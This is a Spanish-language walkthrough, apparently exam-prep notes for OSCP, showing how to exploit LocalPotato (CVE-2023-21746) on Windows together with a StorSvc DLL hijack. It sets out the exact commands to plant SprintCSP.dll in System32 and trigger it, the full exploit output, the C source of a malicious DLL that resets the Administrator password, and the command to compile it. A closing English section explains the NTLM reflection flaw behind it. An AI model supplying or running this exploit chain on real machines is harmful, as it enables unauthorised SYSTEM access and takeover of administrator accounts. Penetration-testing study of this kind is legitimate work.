LocalPotato es un CVE de 2023 que puede aprovecharse en muchas de las máquinas Windows del OSCP.

Esta vulnerabilidad permite escribir archivos en rutas donde no tenemos permisos. Además no es necesario ningún privilegio especial. Además, se encadena con un DLL hijacking del servicio StorSvc para conseguir privilegios.

Explotación

En primer lugar compilamos los binarios necesarios y la dll maliciosa. (Recomiendo usar la dll proporcionada en el curso).

Después, procedemos a transferir los siguientes archivos a nuestra máquina objetivo:

• LocalPotato.exe
• RpcClient.exe
• SprintCSP.dll

A continuación se ejecuta:

.\\LocalPotato.exe -i SprintCSP.dll -o \\Windows\\System32\\SprintCSP.dll

LocalPotato (aka CVE-2023-21746)          
by splinter_code & decoder_it   
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABTIvXDdMIUbap+AepkeJ/yAcgAAMwIwArWEKZ3vRDmhjkAIwAHAEMASABBAE4ARwBFAC0ATQBZAC0ASABPAFMAVABOAEEATQBFAAAABwAxADAALgAxADAALgA0ADAALgAyADMAMQAAAAAACQD//wAAHgD//wAAEAD//wAACgD//wAAFgD//wAAHwD//wAADgD//wAAAAA=: 
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51} 
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes 
[*] Received DCOM NTLM type 1 authentication from the privileged client 
[*] Connected to the SMB server with ip 127.0.0.1 and port 445 
[+] SMB Client Auth Context swapped with SYSTEM 
[+] RPC Server Auth Context swapped with the Current User 
[*] Received DCOM NTLM type 3 authentication from the privileged client 
[+] SMB reflected DCOM authentication succeeded! 
[+] SMB Connect Tree: \\\\127.0.0.1\\c$  success 
[+] SMB Create Request File: Windows\\System32\\SprintCSP.dll success 
[+] SMB Write Request file: Windows\\System32\\SprintCSP.dll success 
[+] SMB Close File success 
[+] SMB Tree Disconnect success

Una vez se ha realizado la escritura de la dll maliciosa en System32, procedemos a forzar la ejecución de la misma mediante el binario RpcClient transferido.

.\\RpcClient.exe

[+] Dll hijack triggered!

Si el hijacking ha sido exitoso debería haberse ejecutado correctamente el payload de nuestra dll.

DLL

El código que recomiendo usar para la dll es el siguiente:

#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user Administrator Jakiado123!");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Para compilar la dll:

x86_64-w64-mingw32-gcc SprintCSP.cpp --shared -o SprintCSP.dll

Extra

The LocalPotato PoC takes advantage of a flaw in a special case of NTLM authentication called NTLM local authentication to trick a privileged process into authenticating a session the attacker starts against the local SMB Server. As a result, the attacker ends up having a connection that grants him access to any shares with the privileges of the tricked process, including special shares like C$ or ADMIN$.

The process followed by the exploit is as follows:

1. The attacker will trigger a privileged process to connect to a rogue server under his control. This works similarly to previous Potato exploits, where an unprivileged user can force the Operating System into creating connections that use a privileged user (usually SYSTEM).
2. The rogue server will instantiate a Security Context A for the privileged connection but won't send it back immediately. Instead, the attacker will launch a rogue client that simultaneously initiates a connection against the local SMB Server (Windows File Sharing) with its current unprivileged credentials. The client will send the Type1 message to initiate the connection, and the server will reply by sending a Type2 message with the ID for a new Security Context B.